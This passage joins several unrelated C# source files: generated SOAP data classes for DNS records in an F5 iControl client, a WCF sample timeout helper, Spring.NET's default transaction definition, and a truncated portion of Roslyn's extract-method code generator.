this.domain_nameField = value; } } private string hardwareField; public string hardware { get { return this.hardwareField; } set { this.hardwareField = value; } } private string osField; public string os { get { return this.osField; } set { this.osField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.KEYRecord", Namespace = "urn:iControl")] public partial class ManagementKEYRecord { private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { this.domain_nameField = value; } } private short flagsField; public short flags { get { return this.flagsField; } set { this.flagsField = value; } } private short protocolField; public short protocol { get { return this.protocolField; } set { this.protocolField = value; } } private short algorithmField; public short algorithm { get { return this.algorithmField; } set { this.algorithmField = value; } } private string public_keyField; public string public_key { get { return this.public_keyField; } set { this.public_keyField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.MXRecord", Namespace = "urn:iControl")] public partial class ManagementMXRecord { private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { this.domain_nameField = value; } } private long preferenceField; public long preference { get { return this.preferenceField; } set { this.preferenceField = value; } } private string mailField; public string mail { get { return this.mailField; } set { this.mailField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.NAPTRRecord", Namespace = "urn:iControl")] public partial class ManagementNAPTRRecord { private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { this.domain_nameField = value; } } private short orderField; public short order { get { return this.orderField; } set { this.orderField = value; } } private short preferenceField; public short preference { get { return this.preferenceField; } set { this.preferenceField = value; } } private string flagsField; public string flags { get { return this.flagsField; } set { this.flagsField = value; } } private string serviceField; public string service { get { return this.serviceField; } set { this.serviceField = value; } } private string regexpField; public string regexp { get { return this.regexpField; } set { this.regexpField = value; } } private string replacementField; public string replacement { get { return this.replacementField; } set { this.replacementField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.NSRecord", Namespace = "urn:iControl")] public partial class ManagementNSRecord { private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { this.domain_nameField = value; } } private string host_nameField; public string host_name { get { return this.host_nameField; } set { this.host_nameField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.NXTRecord", Namespace = "urn:iControl")] public partial class ManagementNXTRecord { private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { this.domain_nameField = value; } } private string nxt_domainField; public string nxt_domain { get { return this.nxt_domainField; } set { this.nxt_domainField = value; } } private string typesField; public string types { get { return this.typesField; } set { this.typesField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.PTRRecord", Namespace = "urn:iControl")] public partial class ManagementPTRRecord { private string ip_addressField; public string ip_address { get { return this.ip_addressField; } set { this.ip_addressField = value; } } private string dnameField; public string dname { get { return this.dnameField; } set { this.dnameField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.RRList", Namespace = "urn:iControl")] public partial class ManagementRRList { private ManagementARecord [] a_listField; public ManagementARecord [] a_list { get { return this.a_listField; } set { this.a_listField = value; } } private ManagementNSRecord [] ns_listField; public ManagementNSRecord [] ns_list { get { return this.ns_listField; } set { this.ns_listField = value; } } private ManagementCNAMERecord [] cname_listField; public ManagementCNAMERecord [] cname_list { get { return this.cname_listField; } set { this.cname_listField = value; } } private ManagementSOARecord [] soa_listField; public ManagementSOARecord [] soa_list { get { return this.soa_listField; } set { this.soa_listField = value; } } private ManagementPTRRecord [] ptr_listField; public ManagementPTRRecord [] ptr_list { get { return this.ptr_listField; } set { this.ptr_listField = value; } } private ManagementHINFORecord [] hinfo_listField; public ManagementHINFORecord [] hinfo_list { get { return this.hinfo_listField; } set { this.hinfo_listField = value; } } private ManagementMXRecord [] mx_listField; public ManagementMXRecord [] mx_list { get { return this.mx_listField; } set { this.mx_listField = value; } } private ManagementTXTRecord [] txt_listField; public ManagementTXTRecord [] txt_list { get { return this.txt_listField; } set { this.txt_listField = value; } } private ManagementSRVRecord [] srv_listField; public ManagementSRVRecord [] srv_list { get { return this.srv_listField; } set { this.srv_listField = value; } } private ManagementKEYRecord [] key_listField; public ManagementKEYRecord [] key_list { get { return this.key_listField; } set { this.key_listField = value; } } private ManagementSIGRecord [] sig_listField; public ManagementSIGRecord [] sig_list { get { return this.sig_listField; } set { this.sig_listField = value; } } private ManagementNXTRecord [] nxt_listField; public ManagementNXTRecord [] nxt_list { get { return this.nxt_listField; } set { this.nxt_listField = value; } } private ManagementAAAARecord [] aaaa_listField; public ManagementAAAARecord [] aaaa_list { get { return this.aaaa_listField; } set { this.aaaa_listField = value; } } private ManagementA6Record [] a6_listField; public ManagementA6Record [] a6_list { get { return this.a6_listField; } set { this.a6_listField = value; } } private ManagementDNAMERecord [] dname_listField; public ManagementDNAMERecord [] dname_list { get { return this.dname_listField; } set { this.dname_listField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.SIGRecord", Namespace = "urn:iControl")] public partial class ManagementSIGRecord { private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { this.domain_nameField = value; } } private short type_coveredField; public short type_covered { get { return this.type_coveredField; } set { this.type_coveredField = value; } } private short algorithmField; public short algorithm { get { return this.algorithmField; } set { this.algorithmField = value; } } private short labelsField; public short labels { get { return this.labelsField; } set { this.labelsField = value; } } private long orig_ttlField; public long orig_ttl { get { return this.orig_ttlField; } set { this.orig_ttlField = value; } } private string sig_expirationField; public string sig_expiration { get { return this.sig_expirationField; } set { this.sig_expirationField = value; } } private string sig_inceptionField; public string sig_inception { get { return this.sig_inceptionField; } set { this.sig_inceptionField = value; } } private short key_tagField; public short key_tag { get { return this.key_tagField; } set { this.key_tagField = value; } } private string signer_nameField; public string signer_name { get { return this.signer_nameField; } set { this.signer_nameField = value; } } private string signatureField; public string signature { get { return this.signatureField; } set { this.signatureField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.SOARecord", Namespace = "urn:iControl")] public partial class ManagementSOARecord { private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { this.domain_nameField = value; } } private string primaryField; public string primary { get { return this.primaryField; } set { this.primaryField = value; } } private string emailField; public string email { get { return this.emailField; } set { this.emailField = value; } } private long serialField; public long serial { get { return this.serialField; } set { this.serialField = value; } } private long refreshField; public long refresh { get { return this.refreshField; } set { this.refreshField = value; } } private long retryField; public long retry { get { return this.retryField; } set { this.retryField = value; } } private long expireField; public long expire { get { return this.expireField; } set { this.expireField = value; } } private long neg_ttlField; public long neg_ttl { get { return this.neg_ttlField; } set { this.neg_ttlField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.SRVRecord", Namespace = "urn:iControl")] public partial class ManagementSRVRecord { private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { this.domain_nameField = value; } } private long priorityField; public long priority { get { return this.priorityField; } set { this.priorityField = value; } } private long weightField; public long weight { get { return this.weightField; } set { this.weightField = value; } } private long portField; public long port { get { return this.portField; } set { this.portField = value; } } private string targetField; public string target { get { return this.targetField; } set { this.targetField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.StatementDefinition", Namespace = "urn:iControl")] public partial class ManagementStatementDefinition { private string statement_idField; public string statement_id { get { return this.statement_idField; } set { this.statement_idField = value; } } private string [] sub_stringsField; public string [] sub_strings { get { return this.sub_stringsField; } set { this.sub_stringsField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.TXTRecord", Namespace = "urn:iControl")] public partial class ManagementTXTRecord { private string domain_nameField; public string domain_name { get { return this.domain_nameField; } set { this.domain_nameField = value; } } private string textField; public string text { get { return this.textField; } set { this.textField = value; } } private long ttlField; public long ttl { get { return this.ttlField; } set { this.ttlField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.ViewInfo", Namespace = "urn:iControl")] public partial class ManagementViewInfo { private string view_nameField; public string view_name { get { return this.view_nameField; } set { this.view_nameField = value; } } private long view_orderField; public long view_order { get { return this.view_orderField; } set { this.view_orderField = value; } } private string [] option_seqField; public string [] option_seq { get { return this.option_seqField; } set { this.option_seqField = value; } } private string [] zone_namesField; public string [] zone_names { get { return this.zone_namesField; } set { this.zone_namesField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.ViewZone", Namespace = "urn:iControl")] public partial class ManagementViewZone { private string view_nameField; public string view_name { get { return this.view_nameField; } set { this.view_nameField = value; } } private string zone_nameField; public string zone_name { get { return this.zone_nameField; } set { this.zone_nameField = value; } } }; /// <remarks/> [System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")] [System.SerializableAttribute()] [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute("code")] [System.Xml.Serialization.SoapTypeAttribute(TypeName = "Management.ZoneInfo", Namespace = "urn:iControl")] public partial class ManagementZoneInfo { private string view_nameField; public string view_name { get { return this.view_nameField; } set { this.view_nameField = value; } } private string zone_nameField; public string zone_name { get { return this.zone_nameField; } set { this.zone_nameField = value; } } private ManagementZoneType zone_typeField; public ManagementZoneType zone_type { get { return this.zone_typeField; } set { this.zone_typeField = value; } } private string zone_fileField; public string zone_file { get { return this.zone_fileField; } set { this.zone_fileField = value; } } private string [] option_seqField; public string [] option_seq { get { return this.option_seqField; } set { this.option_seqField = value; } } }; }
//Copyright (c) Microsoft Corporation. All rights reserved. using System; using System.Collections.Generic; using System.Text; namespace Microsoft.Samples.SsbTransportChannel { using System; using System.Threading; using System.ServiceModel.Channels; internal struct TimeoutHelper { public static TimeSpan DefaultTimeout { get { return TimeSpan.FromMinutes(2); } } public static TimeSpan DefaultShortTimeout { get { return TimeSpan.FromSeconds(4); } } public static TimeSpan Infinite { get { return TimeSpan.MaxValue; } } DateTime deadline; TimeSpan originalTimeout; public TimeoutHelper(TimeSpan timeout) { if (timeout < TimeSpan.Zero) { throw new ArgumentOutOfRangeException("timeout"); } this.originalTimeout = timeout; if (timeout == TimeSpan.MaxValue) { this.deadline = DateTime.MaxValue; } else { this.deadline = DateTime.UtcNow + timeout; } } public TimeSpan OriginalTimeout { get { return this.originalTimeout; } } public int RemainingTimeInMilliseconds() { return TimeoutHelper.ToMilliseconds(this.RemainingTime()); } public int RemainingTimeInMillisecondsOrZero() { int timeoutms = RemainingTimeInMilliseconds(); return ((timeoutms == Timeout.Infinite) ? 0 : timeoutms); } public TimeSpan RemainingTimeOrZero() { if (this.RemainingTime() == TimeSpan.MaxValue) { return TimeSpan.Zero; } else { return this.RemainingTime(); } } public TimeSpan RemainingTime() { if (this.deadline == DateTime.MaxValue) { return TimeSpan.MaxValue; } else { TimeSpan remaining = this.deadline - DateTime.UtcNow; if (remaining <= TimeSpan.Zero) { return TimeSpan.Zero; } else { return remaining; } } } public bool IsTimeRemaining { get { return this.RemainingTime() > TimeSpan.Zero; } } public void SetTimer(TimerCallback callback, Object state) { Timer timer = new Timer(callback, state, TimeoutHelper.ToMilliseconds(this.RemainingTime()), Timeout.Infinite); } public static TimeSpan FromMilliseconds(int milliseconds) { if (milliseconds == Timeout.Infinite) { return TimeSpan.MaxValue; } else { return TimeSpan.FromMilliseconds(milliseconds); } } public static TimeSpan FromMilliseconds(uint milliseconds) { if (milliseconds == unchecked((uint)Timeout.Infinite)) { return TimeSpan.MaxValue; } else { return TimeSpan.FromMilliseconds(milliseconds); } } public static int ToMilliseconds(TimeSpan timeout) { if (timeout == TimeSpan.MaxValue) { return Timeout.Infinite; } else { long ticks = Ticks.FromTimeSpan(timeout); if (ticks / TimeSpan.TicksPerMillisecond > int.MaxValue) { return int.MaxValue; } return Ticks.ToMilliseconds(ticks); } } public static TimeSpan Add(TimeSpan timeout1, TimeSpan timeout2) { return Ticks.ToTimeSpan(Ticks.Add(Ticks.FromTimeSpan(timeout1), Ticks.FromTimeSpan(timeout2))); } public static DateTime Add(DateTime time, TimeSpan timeout) { if (timeout >= TimeSpan.Zero && DateTime.MaxValue - time <= timeout) { return DateTime.MaxValue; } if (timeout <= TimeSpan.Zero && DateTime.MinValue - time >= timeout) { return DateTime.MinValue; } return time + timeout; } public static DateTime Subtract(DateTime time, TimeSpan timeout) { return Add(time, TimeSpan.Zero - timeout); } public static TimeSpan Divide(TimeSpan timeout, int factor) { if (timeout == TimeSpan.MaxValue) { return TimeSpan.MaxValue; } return Ticks.ToTimeSpan((Ticks.FromTimeSpan(timeout) / factor) + 1); } public static bool WaitOne(WaitHandle waitHandle, TimeSpan timeout, bool exitSync) { if (timeout == TimeSpan.MaxValue) { waitHandle.WaitOne(); return true; } else { TimeSpan maxWait = TimeSpan.FromMilliseconds(Int32.MaxValue); while (timeout > maxWait) { bool signaled = waitHandle.WaitOne(maxWait, exitSync); if (signaled) { return true; } timeout -= maxWait; } return waitHandle.WaitOne(timeout, exitSync); } } static class Ticks { public static long FromMilliseconds(int milliseconds) { return (long)milliseconds * TimeSpan.TicksPerMillisecond; } public static int ToMilliseconds(long ticks) { return checked((int)(ticks / TimeSpan.TicksPerMillisecond)); } public static long FromTimeSpan(TimeSpan duration) { return duration.Ticks; } public static TimeSpan ToTimeSpan(long ticks) { return new TimeSpan(ticks); } public static long Add(long firstTicks, long secondTicks) { if (firstTicks == long.MaxValue || firstTicks == long.MinValue) { return firstTicks; } if (secondTicks == long.MaxValue || secondTicks == long.MinValue) { return secondTicks; } if (firstTicks >= 0 && long.MaxValue - firstTicks <= secondTicks) { return long.MaxValue - 1; } if (firstTicks <= 0 && long.MinValue - firstTicks >= secondTicks) { return long.MinValue + 1; } return checked(firstTicks + secondTicks); } } } }
/* * Copyright 2002-2010 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ using System; using System.Text; using System.Transactions; namespace Spring.Transaction.Support { /// <summary> /// Default implementation of the <see cref="Spring.Transaction.ITransactionDefinition"/> /// interface, offering object-style configuration and sensible default values. /// </summary> /// <remarks> /// <p> /// Base class for both <see cref="System.SystemException"/> and /// <see cref="Spring.Transaction.Interceptor.DefaultTransactionAttribute"/>. /// </p> /// </remarks> /// <author>Juergen Hoeller</author> /// <author>Griffin Caprio (.NET)</author> /// <author>Mark Pollack (.NET)</author> [Serializable] public class DefaultTransactionDefinition : ITransactionDefinition { /// <summary> /// Prefix for Propagation settings. /// </summary> public static readonly string PROPAGATION_CONSTANT_PREFIX = "PROPAGATION"; /// <summary> /// Prefix for IsolationLevel settings. /// </summary> public static readonly string ISOLATION_CONSTANT_PREFIX = "ISOLATION"; /// <summary> /// Prefix for transaction timeout values in description strings. /// </summary> public static readonly string TIMEOUT_PREFIX = "timeout_"; /// <summary> /// Marker for read-only transactions in description strings. /// </summary> public static readonly string READ_ONLY_MARKER = "readOnly"; /// <summary> /// The default transaction timeout. /// </summary> public const int TIMEOUT_DEFAULT = -1; //TODO Refactoring to sync with Spring 2.0 for nt/enums for various default values. private TransactionPropagation _transactionPropagation = TransactionPropagation.Required; private System.Data.IsolationLevel _transactionIsolationLevel = System.Data.IsolationLevel.ReadCommitted; private int _timeout = TIMEOUT_DEFAULT; private bool _readOnly = false; private string _name = null; private System.Transactions.TransactionScopeAsyncFlowOption _asyncFlowOption = TransactionScopeAsyncFlowOption.Enabled; /// <summary> /// Creates a new instance of the /// <see cref="Spring.Transaction.Support.DefaultTransactionDefinition"/> class. /// </summary> public DefaultTransactionDefinition() { } /// <summary> /// Creates a new instance of the /// <see cref="Spring.Transaction.Support.DefaultTransactionDefinition"/> class /// with the supplied <see cref="Spring.Transaction.TransactionPropagation"/> /// behaviour. /// </summary> /// <param name="transactionPropagation"> /// The desired <see cref="Spring.Transaction.TransactionPropagation"/> behavior. /// </param> public DefaultTransactionDefinition(TransactionPropagation transactionPropagation) { _transactionPropagation = transactionPropagation; } // TODO change method name to same as type returned (TransactionPropagation) /// <summary> /// Gets / Sets the <see cref="Spring.Transaction.TransactionPropagation">propagation</see> /// behavior. /// </summary> public TransactionPropagation PropagationBehavior { get => _transactionPropagation; set => _transactionPropagation = value; } // TODO change method name to same as type returned (TransactionPropagation) /// <summary> /// Return the isolation level of type <see cref="System.Data.IsolationLevel"/>. /// </summary> /// <remarks> /// <p> /// Only makes sense in combination with /// <see cref="Spring.Transaction.TransactionPropagation.Required"/> and /// <see cref="Spring.Transaction.TransactionPropagation.RequiresNew"/>. /// </p> /// <p> /// Note that a transaction manager that does not support custom isolation levels /// will throw an exception when given any other level than /// <see cref="System.Data.IsolationLevel.Unspecified"/>. /// </p> /// </remarks> public System.Data.IsolationLevel TransactionIsolationLevel { get => _transactionIsolationLevel; set => _transactionIsolationLevel = value; } /// <summary> /// Return the transaction timeout. /// </summary> /// <remarks> /// <p> /// Must return a number of seconds, or -1. /// Only makes sense in combination with /// <see cref="Spring.Transaction.TransactionPropagation.Required"/> and /// <see cref="Spring.Transaction.TransactionPropagation.RequiresNew"/>. /// Note that a transaction manager that does not support timeouts will /// throw an exception when given any other timeout than -1. /// </p> /// </remarks> public int TransactionTimeout { get => _timeout; set { if (value < TIMEOUT_DEFAULT) { throw new ArgumentException( "Timeout must be a positive integer or DefaultTransactionDefinition.TIMEOUT_DEFAULT"); } _timeout = value; } } /// <summary> /// Get whether to optimize as read-only transaction. /// </summary> /// <remarks> /// <p> /// This just serves as hint for the actual transaction subsystem, /// it will <i>not necessarily</i> cause failure of write accesses. /// </p> /// <p> /// Only makes sense in combination with /// <see cref="Spring.Transaction.TransactionPropagation.Required"/> and /// <see cref="Spring.Transaction.TransactionPropagation.RequiresNew"/>. /// </p> /// <p> /// A transaction manager that cannot interpret the read-only hint /// will <i>not</i> throw an exception when given <c>ReadOnly=true</c>. /// </p> /// </remarks> public bool ReadOnly { get => _readOnly; set => _readOnly = value; } /// <summary> /// Return the name of this transaction. Can be null. /// </summary> /// <value></value> /// <remarks> /// This will be used as a transaction name to be shown in a /// transaction monitor, if applicable. In the case of Spring /// declarative transactions, the exposed name will be the fully /// qualified type name + "." method name + assembly (by default). /// </remarks> public string Name { get => _name; set => _name = value; } /// <inheritdoc /> public System.Transactions.TransactionScopeAsyncFlowOption AsyncFlowOption { get => _asyncFlowOption; set => _asyncFlowOption = value; } /// <summary> /// An override of the default <see cref="System.Object.Equals(object)"/> method. /// </summary> /// <param name="obj">The <see cref="System.Object"/> to compare to.</param> /// <returns>True if the objects are equal.</returns> public override bool Equals(object obj) { return (obj is ITransactionDefinition) && ToString().Equals(obj.ToString()); } /// <summary> /// An override of the default <see cref="System.Object.GetHashCode"/> method that returns the /// hashcode of the /// <see cref="Spring.Transaction.Support.DefaultTransactionDefinition.DefinitionDescription"/> /// property. /// </summary> /// <returns> /// The hashcode of the /// <see cref="Spring.Transaction.Support.DefaultTransactionDefinition.DefinitionDescription"/> /// property. /// </returns> public override int GetHashCode() { return ToString().GetHashCode(); } /// <summary> /// An override of the default <see cref="System.Object.ToString"/> method that returns a string /// representation of the /// <see cref="Spring.Transaction.Support.DefaultTransactionDefinition.DefinitionDescription"/> /// property. /// </summary> /// <returns> /// A string representation of the /// <see cref="Spring.Transaction.Support.DefaultTransactionDefinition.DefinitionDescription"/> /// property. /// </returns> public override string ToString() { return DefinitionDescription; } /// <summary> /// Returns a <see cref="System.String"/> representation of the /// <see cref="Spring.Transaction.Support.DefaultTransactionDefinition.DefinitionDescription"/> /// property. /// </summary> protected string DefinitionDescription { get { StringBuilder builder = new StringBuilder(); builder.Append(PROPAGATION_CONSTANT_PREFIX + "_" + PropagationBehavior); builder.Append(","); builder.Append(ISOLATION_CONSTANT_PREFIX + "_" + TransactionIsolationLevel); if (TransactionTimeout != TIMEOUT_DEFAULT) { builder.Append(",timeout_" + _timeout); } if (ReadOnly) { builder.Append(",readOnly"); } return builder.ToString(); } } } }
// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System.Collections.Generic; using System.Linq; using System.Threading; using System.Threading.Tasks; using Microsoft.CodeAnalysis.CSharp; using Microsoft.CodeAnalysis.CSharp.Extensions; using Microsoft.CodeAnalysis.CSharp.Syntax; using Microsoft.CodeAnalysis.ExtractMethod; using Microsoft.CodeAnalysis.Shared.Extensions; using Roslyn.Utilities; namespace Microsoft.CodeAnalysis.CSharp.ExtractMethod { internal partial class CSharpMethodExtractor { private partial class CSharpCodeGenerator { private class ExpressionCodeGenerator : CSharpCodeGenerator { public ExpressionCodeGenerator( InsertionPoint insertionPoint, SelectionResult selectionResult, AnalyzerResult analyzerResult) : base(insertionPoint, selectionResult, analyzerResult) { } public static bool IsExtractMethodOnExpression(SelectionResult code) { return code.SelectionInExpression; } protected override SyntaxToken CreateMethodName() { var methodName = "NewMethod"; var containingScope = this.CSharpSelectionResult.GetContainingScope(); methodName = GetMethodNameBasedOnExpression(methodName, containingScope); var semanticModel = this.SemanticDocument.SemanticModel; var nameGenerator = new UniqueNameGenerator(semanticModel); return SyntaxFactory.Identifier(nameGenerator.CreateUniqueMethodName(containingScope, methodName)); } private static string GetMethodNameBasedOnExpression(string methodName, SyntaxNode expression) { if (expression.Parent != null && expression.Parent.Kind() == SyntaxKind.EqualsValueClause && expression.Parent.Parent != null && expression.Parent.Parent.Kind() == SyntaxKind.VariableDeclarator) { var name = ((VariableDeclaratorSyntax)expression.Parent.Parent).Identifier.ValueText; return (name != null && name.Length > 0) ? MakeMethodName("Get", name) : methodName; } if (expression is MemberAccessExpressionSyntax) { expression = ((MemberAccessExpressionSyntax)expression).Name; } if (expression is NameSyntax) { SimpleNameSyntax unqualifiedName; switch (expression.Kind()) { case SyntaxKind.IdentifierName: case SyntaxKind.GenericName: unqualifiedName = (SimpleNameSyntax)expression; break; case SyntaxKind.QualifiedName: unqualifiedName = ((QualifiedNameSyntax)expression).Right; break; case SyntaxKind.AliasQualifiedName: unqualifiedName = ((AliasQualifiedNameSyntax)expression).Name; break; default: throw new System.NotSupportedException("Unexpected name kind: " + expression.Kind().ToString()); } var unqualifiedNameIdentifierValueText = unqualifiedName.Identifier.ValueText; return (unqualifiedNameIdentifierValueText != null && unqualifiedNameIdentifierValueText.Length > 0) ? MakeMethodName("Get", unqualifiedNameIdentifierValueText) : methodName; } return methodName; } protected override IEnumerable<StatementSyntax> GetInitialStatementsForMethodDefinitions() { Contract.ThrowIfFalse(IsExtractMethodOnExpression(this.CSharpSelectionResult)); ExpressionSyntax expression = null; // special case for array initializer var returnType = (ITypeSymbol)this.AnalyzerResult.ReturnType; var containingScope = this.CSharpSelectionResult.GetContainingScope(); if (returnType.TypeKind == TypeKind.Array && containingScope is InitializerExpressionSyntax) { var typeSyntax = returnType.GenerateTypeSyntax(); expression = SyntaxFactory.ArrayCreationExpression(typeSyntax as ArrayTypeSyntax, containingScope as InitializerExpressionSyntax); } else { expression = containingScope as ExpressionSyntax; } if (this.AnalyzerResult.HasReturnType) { return SpecializedCollections.SingletonEnumerable<StatementSyntax>( SyntaxFactory.ReturnStatement( WrapInCheckedExpressionIfNeeded(expression))); } else { return SpecializedCollections.SingletonEnumerable<StatementSyntax>( SyntaxFactory.ExpressionStatement( WrapInCheckedExpressionIfNeeded(expression))); } } private ExpressionSyntax WrapInCheckedExpressionIfNeeded(ExpressionSyntax expression) { var kind = this.CSharpSelectionResult.UnderCheckedExpressionContext(); if (kind == SyntaxKind.None) { return expression; } return SyntaxFactory.CheckedExpression(kind, expression); } protected override SyntaxNode GetOutermostCallSiteContainerToProcess(CancellationToken cancellationToken) { var callSiteContainer = GetCallSiteContainerFromOutermostMoveInVariable(cancellationToken); if (callSiteContainer != null) { return callSiteContainer; } else { return GetCallSiteContainerFromExpression(); } } private SyntaxNode GetCallSiteContainerFromExpression() { var container = this.CSharpSelectionResult.GetInnermostStatementContainer(); Contract.ThrowIfNull(container); Contract.ThrowIfFalse(container.IsStatementContainerNode() || container is TypeDeclarationSyntax || container is ConstructorDeclarationSyntax || container is CompilationUnitSyntax); return container; } protected override SyntaxNode GetFirstStatementOrInitializerSelectedAtCallSite() { var scope = (SyntaxNode)this.CSharpSelectionResult.GetContainingScopeOf<StatementSyntax>(); if (scope == null) { scope = this.CSharpSelectionResult.GetContainingScopeOf<FieldDeclarationSyntax>(); } if (scope == null) { scope = this.CSharpSelectionResult.GetContainingScopeOf<ConstructorInitializerSyntax>(); } if (scope == null) { // This is similar to FieldDeclaration case but we only want to do this if the member has an expression body. scope = this.CSharpSelectionResult.GetContainingScopeOf<ArrowExpressionClauseSyntax>().Parent; } return scope; } protected override SyntaxNode GetLastStatementOrInitializerSelectedAtCallSite() { return GetFirstStatementOrInitializerSelectedAtCallSite(); } protected override async Task<SyntaxNode> GetStatementOrInitializerContainingInvocationToExtractedMethodAsync( SyntaxAnnotation callSiteAnnotation, CancellationToken cancellationToken) { var enclosingStatement = GetFirstStatementOrInitializerSelectedAtCallSite(); var callSignature = CreateCallSignature().WithAdditionalAnnotations(callSiteAnnotation); var invocation = callSignature.IsKind(SyntaxKind.AwaitExpression) ? ((AwaitExpressionSyntax)callSignature).Expression : callSignature; var sourceNode = this.CSharpSelectionResult.GetContainingScope(); Contract.ThrowIfTrue( sourceNode.Parent is MemberAccessExpressionSyntax && ((MemberAccessExpressionSyntax)sourceNode.Parent).Name == sourceNode, "invalid scope. given scope is not an expression"); // To lower the chances that replacing sourceNode with callSignature will break the user's // code, we make the enclosing statement semantically explicit. This ends up being a little // bit more work because we need to annotate the sourceNode so that we can get back to it // after rewriting the enclosing statement. var updatedDocument = this.SemanticDocument.Document; var sourceNodeAnnotation = new SyntaxAnnotation(); var enclosingStatementAnnotation = new SyntaxAnnotation(); var newEnclosingStatement = enclosingStatement 